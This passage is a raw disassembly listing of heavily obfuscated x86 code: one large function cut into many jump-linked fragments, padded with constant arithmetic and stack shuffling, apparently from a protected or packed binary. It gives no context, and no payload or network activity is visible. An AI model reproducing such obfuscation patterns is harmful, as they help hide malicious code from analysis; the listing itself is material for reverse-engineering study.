ebx, 18434EDDh mov ebp, 5199B23Bh add ebp, ebx pop ebx push ebx push ecx mov ecx, 12706A48h add ecx, 0FFFFFFFFh jmp loc_599030 ; --------------------------------------------------------------------------- loc_59618F: ; CODE XREF: sub_57DD3A+22D94j mov esi, [esp+6+var_8+2] jmp loc_591ED0 ; --------------------------------------------------------------------------- loc_596197: ; CODE XREF: sub_57DD3A+1B32Dj neg ebp add ebp, 45633F79h jmp loc_5980D4 ; --------------------------------------------------------------------------- loc_5961A4: ; CODE XREF: sub_57DD3A+1FA1Aj add eax, ecx pop ecx sub eax, 32284F15h push 4F0Fh mov [esp+6+var_8+2], edx jmp loc_59B62C ; --------------------------------------------------------------------------- loc_5961B9: ; CODE XREF: sub_57DD3A+1EAD0j mov ebp, [esp+6+var_8+2] jmp loc_592EDC ; --------------------------------------------------------------------------- loc_5961C1: ; CODE XREF: sub_57DD3A+114D7j add esp, 4 sub eax, 0B8C4096Fh add edx, eax jmp loc_5A2C2F ; --------------------------------------------------------------------------- loc_5961D0: ; CODE XREF: sub_57DD3A+20826j push esp mov eax, [esp+14h+var_16+2] add esp, 4 push ecx mov ecx, 691D39A0h add ecx, 96E2C664h add eax, ecx push [esp+14h+var_16+2] jmp loc_58E8F5 ; --------------------------------------------------------------------------- loc_5961ED: ; CODE XREF: sub_57DD3A+12B51j mov edx, 4 add ebp, edx jmp loc_59D458 ; --------------------------------------------------------------------------- loc_5961F9: ; CODE XREF: sub_57DD3A+176DFj idiv ecx push 2044h jmp loc_59B550 ; --------------------------------------------------------------------------- loc_596205: ; CODE XREF: sub_57DD3A+1A997j pop ebx push 21DCh mov [esp+3Ah+var_3A], eax push esp pop eax jmp loc_596B96 ; --------------------------------------------------------------------------- loc_596215: ; CODE XREF: sub_57DD3A+11CC7j push 5639h mov [esp+8+var_8], edi jmp loc_59507C ; --------------------------------------------------------------------------- loc_596222: ; CODE XREF: sub_57DD3A+1A711j push 5BB3h mov [esp+0Ch+var_E+2], ebp jmp loc_59E8B9 ; --------------------------------------------------------------------------- loc_59622F: ; CODE XREF: sub_57DD3A+25292j mov [esp+0Ch+var_E+2], ecx jmp loc_59DFB3 ; --------------------------------------------------------------------------- loc_596237: ; CODE XREF: sub_57DD3A+16853j mov edi, 0A8F29395h sub esi, edi pop edi jmp loc_58FD08 ; --------------------------------------------------------------------------- mov cx, word ptr [esp+50h+var_50] jmp loc_599AAA ; --------------------------------------------------------------------------- loc_59624D: ; CODE XREF: sub_57DD3A+22A9Aj xchg esi, [esp+50h+var_50] pop edi jmp loc_5A07C2 ; --------------------------------------------------------------------------- loc_596256: ; CODE XREF: sub_57DD3A+13BBFj mov ebx, 0BDC00D7h and ebx, 35FB1D8Ch jmp loc_59F863 ; --------------------------------------------------------------------------- loc_596266: ; CODE XREF: sub_57DD3A+145F2j mov [esp+4Eh+var_50+2], eax mov eax, 2 add ecx, 3B680581h add ecx, 5D752FF7h add ecx, eax sub ecx, 5D752FF7h sub ecx, 3B680581h pop eax xchg ecx, [esp+4Ah+var_4C+2] jmp loc_5A0793 ; --------------------------------------------------------------------------- loc_596291: ; CODE XREF: sub_57DD3A+19E0Fj push ecx mov ch, 13h jmp loc_59D226 ; --------------------------------------------------------------------------- loc_596299: ; CODE XREF: sub_57DD3A+1E786j pop ebp xor ebp, 8F0D8251h jmp loc_5A2BA6 ; --------------------------------------------------------------------------- loc_5962A5: ; CODE XREF: sub_57DD3A+2398Fj xor bl, al movzx eax, al mov dx, word ptr [esp+4Ah+var_4C+2] push edx jmp loc_59663E ; --------------------------------------------------------------------------- loc_5962B4: ; CODE XREF: sub_57DD3A+2309Dj push edx jmp loc_5A08E6 ; --------------------------------------------------------------------------- loc_5962BA: ; CODE XREF: sub_57DD3A+151B3j add ecx, 4 jmp loc_59C887 ; --------------------------------------------------------------------------- loc_5962C5: ; CODE XREF: sub_57DD3A+12858j mov esp, [esp+1Ah+var_1A] jmp loc_595926 ; --------------------------------------------------------------------------- loc_5962CD: ; CODE XREF: sub_57DD3A+20856j jmp loc_58E353 ; --------------------------------------------------------------------------- loc_5962D2: ; CODE XREF: sub_57DD3A+1CB17j mov [esp+1Ah+var_1A], ebx push esp pop ebx push ebp jmp loc_5A2A8A ; --------------------------------------------------------------------------- loc_5962DD: ; CODE XREF: sub_57DD3A+22306j push 3088h mov [esp+22h+var_22], esp push 5193h mov [esp+26h+var_26], esi jmp loc_591812 ; --------------------------------------------------------------------------- loc_5962F2: ; CODE XREF: sub_57DD3A+139C3j push esi push eax mov eax, 37D27BB4h sub [esp+60h+var_5C], eax pop eax pop ebp push ecx mov ecx, 0B2B109Ah jmp loc_595B52 ; --------------------------------------------------------------------------- loc_59630A: ; CODE XREF: sub_57DD3A+19A37j pop edx push edi push esi mov esi, 5FF536E9h jmp loc_59C631 ; --------------------------------------------------------------------------- loc_596317: ; CODE XREF: sub_57DD3A+15779j mov edx, 465822F2h jmp loc_58EE71 ; --------------------------------------------------------------------------- loc_596321: ; CODE XREF: sub_57DD3A+1DE6Fj add esi, edx push [esp+3Eh+var_3E] mov edx, [esp+42h+var_42] add esp, 4 push edi mov edi, esp add edi, 4 add edi, 4 push edi push [esp+46h+var_42] pop edi pop [esp+46h+var_46] pop esp push eax mov eax, 4 push 41F4h jmp loc_5929E9 ; --------------------------------------------------------------------------- loc_596355: ; CODE XREF: sub_57DD3A+2558Fj push 4 pop ebp add eax, ebp pop ebp push 456Bh mov [esp+46h+var_46], ecx sub esp, 4 jmp loc_593759 ; --------------------------------------------------------------------------- loc_59636E: ; CODE XREF: sub_57DD3A+14E9Aj push 77FAh mov [esp+44h+var_46+2], ebx push 551Bh mov [esp+0], edi jmp loc_595C25 ; --------------------------------------------------------------------------- loc_596383: ; CODE XREF: sub_57DD3A+1A1A6j push ecx mov ch, 0CAh mov bl, ch mov ecx, [esp+4Ch+var_4C] add esp, 4 add bl, 0FFh shr bl, 1 xchg al, bl not al xchg al, bl xor bl, 37h not bl sub bl, 0F4h sub al, bl jmp loc_592073 ; --------------------------------------------------------------------------- loc_5963AB: ; CODE XREF: sub_57DD3A+247FEj mov ebx, [esp] push ebp mov ebp, esp push eax mov eax, 4 jmp loc_591D88 ; --------------------------------------------------------------------------- loc_5963BC: ; CODE XREF: sub_57DD3A+17353j sub ecx, edi add ecx, 55135673h sub ecx, 64A0755Ch pop edi sub esp, 4 mov [esp+14h+var_16+2], edi jmp loc_59CD03 ; --------------------------------------------------------------------------- loc_5963D6: ; CODE XREF: sub_57DD3A+14A7Cj sub ebx, 45D670CCh add ebx, esi jmp loc_598187 ; --------------------------------------------------------------------------- loc_5963E3: ; CODE XREF: sub_57DD3A+15F90j shl edi, 8 jmp loc_599957 ; --------------------------------------------------------------------------- loc_5963EB: ; CODE XREF: sub_57DD3A+20A25j push eax mov eax, 0B9FC3A88h sub edx, eax pop eax jmp loc_59E247 ; --------------------------------------------------------------------------- loc_5963F9: ; CODE XREF: sub_57DD3A+18EA1j pop eax add edi, 768CC5DCh xor edx, edi pop edi push edx pop edi pop edx push edx jmp loc_594FFE ; --------------------------------------------------------------------------- loc_59640C: ; CODE XREF: sub_57DD3A+200B9j pop ebp add ecx, edx pop edx push 68BBh mov [esp+3Ah+var_3A], ecx push [esp+3Ah+var_36] pop ecx pop [esp+3Ah+var_3A] pop esp mov ax, word ptr [esp+32h+var_32] jmp loc_5915FE ; --------------------------------------------------------------------------- loc_59642A: ; CODE XREF: sub_57DD3A+1495Cj mov ebx, 4566381Eh push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+20h+var_22+2] pop esp mov [esp+1Ch+var_1E+2], edi mov edi, ebx mov edx, edi mov edi, [esp+1Ch+var_1E+2] add esp, 4 pop ebx xor edx, 2BD7614Ah jmp loc_593973 ; --------------------------------------------------------------------------- loc_596458: ; CODE XREF: sub_57DD3A+1AF29j pop eax pop [esp+10h+var_12+2] mov esp, [esp+0Ch+var_E+2] mov [esp+0Ch+var_E+2], ecx sub esp, 4 mov [esp+10h+var_12+2], edx push ecx mov ch, al jmp loc_5908A9 ; --------------------------------------------------------------------------- loc_596470: ; CODE XREF: sub_57DD3A+15889j sub esp, 4 jmp loc_5980BA ; --------------------------------------------------------------------------- loc_59647B: ; CODE XREF: sub_57DD3A+1C97Bj pop edx jmp loc_59ED7C ; --------------------------------------------------------------------------- loc_596481: ; CODE XREF: sub_57DD3A+12BE8j sub ebx, eax pop eax sub ebx, 24FF5D2Bh add ebx, eax add ebx, 24FF5D2Bh push ebp mov ebp, 727E4A32h shr ebp, 6 add ebp, 0FFFFFFFFh push edi mov edi, 73337920h not edi neg edi xor edi, 0B6B157Ah xor ebp, edi jmp loc_5968D0 ; --------------------------------------------------------------------------- dword_5964B8 dd 7BE968h, 0A4C3E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5964C2: ; CODE XREF: sub_57DD3A+24921j push edx mov dh, 0B5h sub dh, 1 push ebx mov bh, dh not bh mov dh, bh pop ebx not dh jmp loc_5955F7 ; --------------------------------------------------------------------------- lodsb jmp loc_5A000E ; --------------------------------------------------------------------------- loc_5964DD: ; CODE XREF: sub_57DD3A+131DCj xor edx, esi pop esi push edi mov edi, 2E6F6FBCh or edx, edi pop edi sub edx, 0A8C980FDh add esi, edx pop edx add esi, 340375DEh push ebx jmp loc_5A1480 ; --------------------------------------------------------------------------- loc_5964FE: ; CODE XREF: sub_57DD3A+163E1j push esi xchg ebx, [esp+90h+var_90] jmp loc_59BC26 ; --------------------------------------------------------------------------- loc_596507: ; CODE XREF: sub_57DD3A+1C7DDj pop ebx add eax, 7A16229Fh jmp loc_599396 ; --------------------------------------------------------------------------- loc_596512: ; CODE XREF: sub_57DD3A+1240Bj mov edx, 31C0623Fh inc edx shr edx, 6 jmp loc_5A2106 ; --------------------------------------------------------------------------- loc_596520: ; CODE XREF: sub_57DD3A+11819j pop edx mov edi, [esp+60h+var_60] add esp, 4 not edi push edx push edi pop edx pop edi push esi jmp loc_59FC5B ; --------------------------------------------------------------------------- loc_596536: ; CODE XREF: sub_57DD3A+1D13Cj add ebx, 1 shr ebx, 6 xor ebx, 0B6DCE62h mov esi, ebx jmp loc_594D40 ; --------------------------------------------------------------------------- loc_596549: ; CODE XREF: sub_57DD3A+144B5j and ebp, 2D162C3Dh xor ebp, 0C4C16138h add eax, ebp pop ebp add edi, eax mov eax, [esp+46h+var_46] add esp, 4 push edi jmp loc_59331D ; --------------------------------------------------------------------------- loc_596566: ; CODE XREF: sub_57DD3A+135E2j mov ecx, [esp+46h+var_46] add esp, 4 jmp loc_598399 ; --------------------------------------------------------------------------- loc_596574: ; CODE XREF: sub_57DD3A+13473j push eax jmp loc_58FA14 ; --------------------------------------------------------------------------- loc_59657A: ; CODE XREF: sub_57DD3A+12F8Ej push [esp+5Ch+var_5C] jmp loc_592B20 ; --------------------------------------------------------------------------- loc_596582: ; CODE XREF: sub_57DD3A+1086Bj push 1ABBh mov [esp+18h+var_1A+2], eax mov eax, 44E20A34h xor eax, 2D1D572Bh inc eax jmp loc_59F08C ; --------------------------------------------------------------------------- loc_59659A: ; CODE XREF: sub_57DD3A+18220j add edi, 5CB04BEDh mov eax, [esp+2Ah+var_2A] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+2Eh+var_2E] pop esp jmp loc_592DEA ; --------------------------------------------------------------------------- loc_5965B8: ; CODE XREF: sub_57DD3A+16A04j mov [esp+62h+var_64+2], eax mov eax, 64EC431Dh dec eax shr eax, 7 jmp loc_59964E ; --------------------------------------------------------------------------- loc_5965C9: ; CODE XREF: sub_57DD3A+21379j pop ebx xor ebx, 787B30DBh shr ebx, 8 shr ebx, 7 sub ebx, 451Eh mov ecx, ebx jmp loc_59D1ED ; --------------------------------------------------------------------------- loc_5965E3: ; CODE XREF: sub_57DD3A+1EB6Aj add edx, 5EE7084Dh push [esp+5Eh+var_60+2] pop esi add esp, 4 add edx, ebx add edx, 56014C85h pop ebx push ebx mov ebx, 4 add edx, ebx mov ebx, [esp+5Ah+var_5C+2] add esp, 4 xchg edx, [esp+56h+var_58+2] mov esp, [esp+56h+var_58+2] push [esp+56h+var_58+2] pop eax sub esp, 4 mov [esp+5Ah+var_5C+2], esi mov esi, esp push edx jmp loc_595930 ; --------------------------------------------------------------------------- loc_596628: ; CODE XREF: sub_57DD3A+1F719j add ebx, esi pop esi add eax, ebx pop ebx xor ebx, eax pop eax mov ecx, [esp+52h+var_54+2] add esp, 4 xor ebx, edx jmp loc_594A74 ; --------------------------------------------------------------------------- loc_59663E: ; CODE XREF: sub_57DD3A+18575j mov edx, esp add edx, 4 sub edx, 4 xor edx, [esp+4Eh+var_50+2] xor [esp+4Eh+var_50+2], edx xor edx, [esp+4Eh+var_50+2] mov esp, [esp+4Eh+var_50+2] jmp loc_595A56 ; --------------------------------------------------------------------------- loc_59665A: ; CODE XREF: sub_57DD3A+1E0C5j pop edx sub bl, 1 jmp loc_5A2DDB ; --------------------------------------------------------------------------- loc_596663: ; CODE XREF: sub_57DD3A+190A5j add ebp, 4 xchg ebp, [esp+4Ah+var_4C+2] jmp loc_593BE6 ; --------------------------------------------------------------------------- loc_59666E: ; CODE XREF: sub_57DD3A+12A5Fj xor [esp+28h+var_2A+2], ecx xor ecx, [esp+28h+var_2A+2] jmp loc_59F517 ; --------------------------------------------------------------------------- loc_596679: ; CODE XREF: sub_57DD3A+13671j sub ebx, edi pop edi jmp loc_59A6D9 ; --------------------------------------------------------------------------- loc_596681: ; CODE XREF: sub_57DD3A+11182j push edx mov edx, 24h add edx, 2B747846h add edx, edi jmp loc_5A05F0 ; --------------------------------------------------------------------------- loc_596694: ; CODE XREF: sub_57DD3A+10747j mov [esp+8+var_8], ebp mov ebp, esp add ebp, 4 sub esp, 4 jmp loc_5959C7 ; --------------------------------------------------------------------------- loc_5966A7: ; CODE XREF: sub_57DD3A+12241j xchg ecx, [esp+50h+var_50] jmp loc_593D84 ; --------------------------------------------------------------------------- loc_5966AF: ; CODE XREF: sub_57DD3A+194D3j mov [esp+50h+var_50], eax push 4 jmp loc_5A2F56 ; --------------------------------------------------------------------------- loc_5966BC: ; CODE XREF: sub_57DD3A+14A34j push 3F18h mov [esp+74h+var_74], ebp push 55212295h pop ebp inc ebp shl ebp, 7 sub ebp, 90914AFCh push ecx jmp loc_5A0D68 ; --------------------------------------------------------------------------- loc_5966DA: ; CODE XREF: sub_57DD3A+2076Cj push 4B881F3Bh pop edi dec edi sub edi, 6A872673h jmp loc_5946D2 ; --------------------------------------------------------------------------- loc_5966EC: ; CODE XREF: sub_57DD3A+255ABj or edi, 50D050C5h push esi mov esi, 42F27D4Bh xor edi, esi pop esi or edi, 0ECF36EAh push eax mov eax, 0D9CC75E3h xor edi, eax pop eax and eax, edi pop edi xor eax, 6E9D64FFh add eax, 0F0223C22h sub edi, eax pop eax add edi, edx add edi, 1CC1621Ch push [esp+70h+var_70] pop edx add esp, 4 xor edi, [esp+6Ch+var_6C] xor [esp+6Ch+var_6C], edi xor edi, [esp+6Ch+var_6C] pop esp ror byte ptr [esp+68h+var_68], cl pushf jmp loc_58E353 ; --------------------------------------------------------------------------- loc_59673C: ; CODE XREF: sub_57DD3A+23E00j sub ecx, ebx push eax jmp loc_59CCA2 ; --------------------------------------------------------------------------- loc_596744: ; CODE XREF: sub_57DD3A+111A2j push eax mov eax, 246F1A16h jmp loc_590A6D ; --------------------------------------------------------------------------- loc_59674F: ; CODE XREF: sub_57DD3A+247DDj sub esp, 4 mov [esp+3Eh+var_3E], ebx mov ebx, 4D642858h shr ebx, 8 xor ebx, 48156214h jmp loc_59AD15 ; --------------------------------------------------------------------------- loc_596768: ; CODE XREF: sub_57DD3A+12C5Aj push 1117h jmp loc_591210 ; --------------------------------------------------------------------------- loc_596772: ; CODE XREF: sub_57DD3A+19BF3j push 20E5h mov [esp+1Ch+var_1E+2], ecx pop dword ptr [eax] jmp loc_58E353 ; --------------------------------------------------------------------------- loc_596781: ; CODE XREF: sub_57DD3A+23750j pop esi sub ebx, 4 xchg ebx, [esp+14h+var_16+2] pop esp mov [esp+10h+var_12+2], ecx mov ecx, 7DC00001h jmp loc_5A3273 ; --------------------------------------------------------------------------- loc_596796: ; CODE XREF: sub_57DD3A+13695j pop ebp pop ecx xchg edi, [esp+12h+var_12] jmp loc_595725 ; --------------------------------------------------------------------------- loc_5967A0: ; CODE XREF: sub_57DD3A+1369Cj add bl, 0F8h push eax mov ah, 50h and bl, ah pop eax dec bl not bl xor bl, 3Dh and ah, bl pop ebx add ah, 0CAh xor ah, 0E6h or ah, 0A5h jmp loc_59E875 ; --------------------------------------------------------------------------- loc_5967C1: ; CODE XREF: sub_57DD3A+208D8j add ax, 2D84h sub ax, 537Fh sub esp, 4 mov [esp+1Ah+var_1A], ecx mov cx, 422Eh shl cx, 2 sub cx, 1 push ebx push small 2777h pop bx push edx mov dx, 48C4h jmp loc_5A269D ; --------------------------------------------------------------------------- loc_5967ED: ; CODE XREF: sub_57DD3A+223A0j add esi, 4 sub esi, 4 jmp loc_594BF1 ; --------------------------------------------------------------------------- loc_5967FE: ; CODE XREF: sub_57DD3A+11C4Fj pop eax add esp, 4 pop [esp+3Eh+var_3E] mov esp, [esp+3Ah+var_3A] mov [esp+3Ah+var_3A], ebx push [esp+3Ah+var_3A] pop eax jmp loc_591B02 ; --------------------------------------------------------------------------- loc_596814: ; CODE XREF: sub_57DD3A+25028j sub edx, ecx pop ecx jmp loc_59363D ; --------------------------------------------------------------------------- loc_59681C: ; CODE XREF: sub_57DD3A+21478j pop ecx push edx mov edx, 4C106337h add eax, edx jmp loc_59F094 ; --------------------------------------------------------------------------- loc_59682A: ; CODE XREF: sub_57DD3A+135EEj or eax, ebx jmp loc_597C13 ; --------------------------------------------------------------------------- loc_596831: ; CODE XREF: sub_57DD3A+2331Dj add edi, 57DB22AAh sub esp, 4 mov [esp+4Ah+var_4C+2], ecx mov ecx, 2FC81F53h add edi, ecx mov ecx, [esp+4Ah+var_4C+2] jmp loc_58E724 ; --------------------------------------------------------------------------- loc_59684F: ; CODE XREF: sub_57DD3A+2291Cj add esp, 4 pop [esp+46h+var_46] pop esp mov dx, word ptr [esp+3Eh+var_3E] push 6CDDh mov [esp+42h+var_42], edi push esp pop edi jmp loc_59118C ; --------------------------------------------------------------------------- loc_596869: ; CODE XREF: sub_57DD3A+22EC9j push ebx mov ebx, 0C216D5Fh add ebx, 1 push edx jmp loc_58E6E9 ; --------------------------------------------------------------------------- loc_596878: ; CODE XREF: sub_57DD3A+13A7Cj mov esp, [esp+54h+var_54] add ebx, 4 push ecx mov ecx, 4 sub ebx, ecx jmp loc_5A0683 ; --------------------------------------------------------------------------- loc_59688E: ; CODE XREF: sub_57DD3A+24FA2j add edx, 72256AB8h sub edx, 1E992F09h sub edx, ebp add edx, 1E992F09h sub edx, 72256AB8h mov ebp, [esp+58h+var_58] add esp, 4 push [esp+54h+var_54] pop edi add esp, 4 xchg edx, [esp+50h+var_50] jmp loc_59ACD0 ; --------------------------------------------------------------------------- loc_5968C0: ; CODE XREF: sub_57DD3A+1B0EDj mov [esp+50h+var_50], ebp mov ebp, 54B61722h shl ebp, 2 jmp loc_59BFF6 ; --------------------------------------------------------------------------- loc_5968D0: ; CODE XREF: sub_57DD3A+18779j pop edi add ebp, 371617D3h jmp loc_59288C ; --------------------------------------------------------------------------- loc_5968DC: ; CODE XREF: sub_57DD3A+23741j sub ebp, 74CA771Dh add ebp, 26254E69h mov ecx, [esp+12h+var_12] add esp, 4 add ebp, edi sub ebp, 1BAA1631h pop edi push ecx jmp loc_5971C2 ; --------------------------------------------------------------------------- loc_5968FD: ; CODE XREF: sub_57DD3A+17996j xor [esp+1Ch+var_1E+2], ebp jmp loc_5A259E ; --------------------------------------------------------------------------- loc_596905: ; CODE XREF: sub_57DD3A+1C3E0j add esp, 4 xor edi, [esp+18h+var_1A+2] xor [esp+18h+var_1A+2], edi xor edi, [esp+18h+var_1A+2] pop esp sub esp, 4 mov [esp+18h+var_1A+2], eax jmp loc_59F6EF ; --------------------------------------------------------------------------- loc_596920: ; DATA XREF: sub_57DD3A+1036Ao push 3DA7h mov [esp+1Ch+var_1E+2], ebp sub esp, 4 mov [esp+20h+var_22+2], ebx push edi push 6FE309ECh pop edi add edi, 0DAEA511Eh mov ebx, edi mov edi, [esp+24h+var_26+2] add esp, 4 push esi push 2E2C1CF7h pop esi or esi, 334F77AAh neg esi push edi mov edi, 4E39095Fh not edi sub edi, 0C5228147h xor esi, edi pop edi mov ebp, esi pop esi sub ebp, 67704460h add ebp, ebx jmp loc_58E3AB ; --------------------------------------------------------------------------- loc_596973: ; CODE XREF: sub_57DD3A+1F9A4j xor dh, 60h push ebx mov bl, dh mov ah, bl pop ebx mov edx, [esp+20h+var_22+2] add esp, 4 sub ah, 0Ch and bh, ah pop eax sub esp, 4 mov [esp+1Ch+var_1E+2], eax jmp loc_59FB0F ; --------------------------------------------------------------------------- loc_596993: ; CODE XREF: sub_57DD3A+124E8j add ebp, 4 sub ebp, 4 jmp loc_594794 ; --------------------------------------------------------------------------- loc_5969A4: ; CODE XREF: sub_57DD3A+208E3j xor cl, 1Ch add cl, 3Ch sub cl, bh sub cl, 3Ch mov ebx, [esp+32h+var_32] add esp, 4 xor cl, 7Ch push 3C51h mov [esp+32h+var_32], eax mov al, 1Eh jmp loc_59F575 ; --------------------------------------------------------------------------- loc_5969CA: ; CODE XREF: sub_57DD3A+18E57j xor ebp, [esp+32h+var_32] pop esp add edi, 4 push edx jmp loc_5A32CE ; --------------------------------------------------------------------------- loc_5969DA: ; CODE XREF: sub_57DD3A+1EBADj sub edi, 2 xchg edi, [esp+32h+var_32] mov esp, [esp+32h+var_32] mov word ptr [esp+32h+var_32], cx jmp loc_58E66F ; --------------------------------------------------------------------------- loc_5969EF: ; CODE XREF: sub_57DD3A+1736Fj mov eax, 522D267Ch add edi, eax jmp loc_599C7E ; --------------------------------------------------------------------------- loc_5969FB: ; CODE XREF: sub_57DD3A+1500Ej push 54D8h jmp loc_591CFE ; --------------------------------------------------------------------------- loc_596A05: ; CODE XREF: sub_57DD3A+1DF5Bj xor [esp+2Ch+var_2E+2], ebp jmp loc_5A1563 ; --------------------------------------------------------------------------- loc_596A0D: ; CODE XREF: sub_57DD3A+21E84j add cl, 0FFh sub cl, 4 jmp loc_59CD2D ; --------------------------------------------------------------------------- loc_596A18: ; CODE XREF: sub_57DD3A+17D51j sub esp, 4 mov [esp+4Ah+var_4C+2], edx push 699Eh mov [esp+4Eh+var_50+2], esp add [esp+4Eh+var_50+2], 4 jmp loc_5989AA ; --------------------------------------------------------------------------- loc_596A2F: ; CODE XREF: sub_57DD3A+2085Cj inc cl sub esp, 4 jmp loc_5945B0 ; --------------------------------------------------------------------------- loc_596A3C: ; CODE XREF: sub_57DD3A+1DEEEj not esi xchg esi, ebx xchg ebx, [esp+52h+var_54+2] mov esi, [esp+52h+var_54+2] add esp, 4 push eax mov eax, 9D6A07AEh xor esi, eax pop eax mov ecx, esi pop esi jmp loc_59379D ; --------------------------------------------------------------------------- loc_596A5A: ; CODE XREF: sub_57DD3A+123C7j push 6227h jmp loc_58F036 ; --------------------------------------------------------------------------- loc_596A64: ; CODE XREF: sub_57DD3A+1FE35j xchg edi, esi jmp loc_59D6BA ; --------------------------------------------------------------------------- loc_596A6B: ; CODE XREF: sub_57DD3A+11D2Bj or edi, 6AB50FA5h push ebx jmp loc_59BBCB ; --------------------------------------------------------------------------- loc_596A77: ; CODE XREF: sub_57DD3A+24ABDj mov ebx, 296D46A6h push 58DCh mov [esp+18h+var_1A+2], edi mov edi, 728446DBh add ebx, edi pop edi shr ebx, 3 push esi mov esi, 46CD0AEBh xor esi, 6C250567h jmp loc_592D65 ; --------------------------------------------------------------------------- loc_596AA0: ; CODE XREF: sub_57DD3A+12B27j push ebp mov ebp, 16BE01FCh jmp loc_59F37E ; --------------------------------------------------------------------------- loc_596AAB: ; CODE XREF: sub_57DD3A+1BD71j mov ecx, esp push edx jmp loc_59F7CA ; --------------------------------------------------------------------------- loc_596AB3: ; CODE XREF: sub_57DD3A+200DBj pop esp sub al, bl push small 6064h mov word ptr [esp+4Ah+var_4C+2], dx mov dl, 0B9h add al, 0C9h add al, dl sub al, 0C9h jmp loc_59500D ; --------------------------------------------------------------------------- loc_596ACB: ; CODE XREF: sub_57DD3A+13C1Cj mov [esp+22h+var_22], ebx jmp loc_59831D ; --------------------------------------------------------------------------- loc_596AD3: ; CODE XREF: sub_57DD3A+1DA94j push esp pop ebp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_594B5F ; --------------------------------------------------------------------------- loc_596AE9: ; CODE XREF: sub_57DD3A+2354Bj sub ebx, edx pop edx pop eax push esi mov esi, 66A123AAh xor esi, 1D9C4402h add ebx, esi pop esi dec ebx xor ebx, 9C2D6C00h jmp loc_595150 ; --------------------------------------------------------------------------- mov ax, word ptr [esp+1Eh+var_1E] sub esp, 4 mov [esp+22h+var_22], ecx mov ecx, esp sub esp, 4 mov [esp+26h+var_26], ebx mov ebx, 4 push ebp mov ebp, 1A510C6Bh and ebp, 28C07105h push eax jmp loc_58F090 ; --------------------------------------------------------------------------- loc_596B34: ; CODE XREF: sub_57DD3A+16E1Aj xchg ecx, [esp+7Ah+var_7C+2] sub esp, 4 jmp loc_59D592 ; --------------------------------------------------------------------------- loc_596B42: ; CODE XREF: sub_57DD3A+17CEDj pop ebp jmp loc_599E86 ; --------------------------------------------------------------------------- loc_596B48: ; CODE XREF: sub_57DD3A+12D0Ej mov [esp+0Eh+var_E], ecx jmp loc_599BB2 ; --------------------------------------------------------------------------- loc_596B50: ; CODE XREF: sub_57DD3A+12198j pop ecx mov edx, 87AB199Fh xor edx, ebx pop ebx sub edx, ebp mov ebp, [esp+3Ch+var_3E+2] add esp, 4 sub esi, edx mov edx, [esp+38h+var_3A+2] add esp, 4 sub edi, 113D29B3h add edi, 546A1E65h sub edi, esi jmp loc_5929F1 ; --------------------------------------------------------------------------- loc_596B7F: ; CODE XREF: sub_57DD3A+238DBj add ebp, ecx sub ebp, 55747466h pop ecx add ebp, 4 xor ebp, [esp+30h+var_32+2] xor [esp+30h+var_32+2], ebp jmp loc_5969CA ; --------------------------------------------------------------------------- loc_596B96: ; CODE XREF: sub_57DD3A+184D6j sub esp, 4 mov [esp+3Eh+var_3E], esi jmp loc_5A2873 ; --------------------------------------------------------------------------- loc_596BA4: ; CODE XREF: sub_57DD3A+17670j add edx, ebp pop ebp push ebx push edi mov edi, 233C3496h shr edi, 7 xor edi, 264A5C57h xor edi, 260C243Ch mov ebx, edi push [esp+60h+var_60] pop edi jmp loc_5A05BC ; --------------------------------------------------------------------------- loc_596BC8: ; CODE XREF: sub_57DD3A+10C8Aj push edi mov edi, 1CD66548h push eax mov eax, 6FA40C42h sub eax, 0A31FC77h and edi, eax jmp loc_5963F9 ; --------------------------------------------------------------------------- loc_596BE0: ; CODE XREF: sub_57DD3A+10732j sub ebx, 547172B8h neg ebx not ebx jmp loc_590508 ; --------------------------------------------------------------------------- loc_596BEF: ; CODE XREF: sub_57DD3A+11F72j push ebx jmp loc_599EFD ; --------------------------------------------------------------------------- loc_596BF5: ; CODE XREF: sub_57DD3A+126D6j mov bl, 61h jmp loc_595B7E ; --------------------------------------------------------------------------- loc_596BFC: ; CODE XREF: sub_57DD3A+15CEDj mov ebx, esp jmp loc_590529 ; --------------------------------------------------------------------------- loc_596C03: ; CODE XREF: sub_57DD3A+230FAj add ebx, 53241697h jmp loc_5907BF ; --------------------------------------------------------------------------- loc_596C0E: ; CODE XREF: sub_57DD3A+18407j push 4CE4h jmp loc_59BEC9 ; --------------------------------------------------------------------------- loc_596C18: ; CODE XREF: sub_57DD3A+121B1j push 5883h jmp loc_592DF5 ; --------------------------------------------------------------------------- loc_596C22: ; CODE XREF: sub_57DD3A+1C68Aj jmp loc_58E353 ; --------------------------------------------------------------------------- loc_596C27: ; CODE XREF: sub_57DD3A+234FCj push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_58FD27 ; --------------------------------------------------------------------------- loc_596C38: ; CODE XREF: sub_57DD3A+1D009j add ebp, edi jmp loc_5A0191 ; --------------------------------------------------------------------------- loc_596C3F: ; CODE XREF: sub_57DD3A+23EDAj sub esp, 4 mov [esp+4Ch+var_4C], edi push 9E1h mov [esp+50h+var_50], ebx mov ebx, 27E31D5h inc ebx add ebx, 25FB3EEAh push ebx pop edi pop ebx sub edi, 287970BFh jmp loc_5A29B8 ; --------------------------------------------------------------------------- push dword ptr [esp+4] push [esp+50h+var_50] mov eax, [esp+54h+var_54] sub esp, 4 mov [esp+58h+var_58], edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp+58h+var_58] pop esp jmp loc_58F392 ; --------------------------------------------------------------------------- loc_596C91: ; CODE XREF: sub_57DD3A+1C869j xchg eax, ebp not eax xchg eax, ebp neg ebp jmp loc_590639 ; --------------------------------------------------------------------------- loc_596C9C: ; CODE XREF: sub_57DD3A+1EF28j mov esp, [esp+54h+var_54] jmp loc_594C4B ; --------------------------------------------------------------------------- loc_596CA4: ; CODE XREF: sub_57DD3A+23E08j mov esp, [esp+54h+var_54] add esp, 4 sub esp, 4 mov [esp+54h+var_54], edi mov edi, 42793994h sub esp, 4 mov [esp+58h+var_58], ecx push esi push 3549ADh pop esi jmp loc_594118 ; --------------------------------------------------------------------------- loc_596CD0: ; CODE XREF: sub_57DD3A+12844j pop bp sub bx, dx pop edx push ax mov ax, 243Ah and bx, ax mov ax, word ptr [esp+1Ah+var_1A] add esp, 2 sub bx, 1705h neg bx add bx, 12A3h sub cx, bx pop ebx jmp loc_5A0D9E ; --------------------------------------------------------------------------- loc_596CFF: ; CODE XREF: 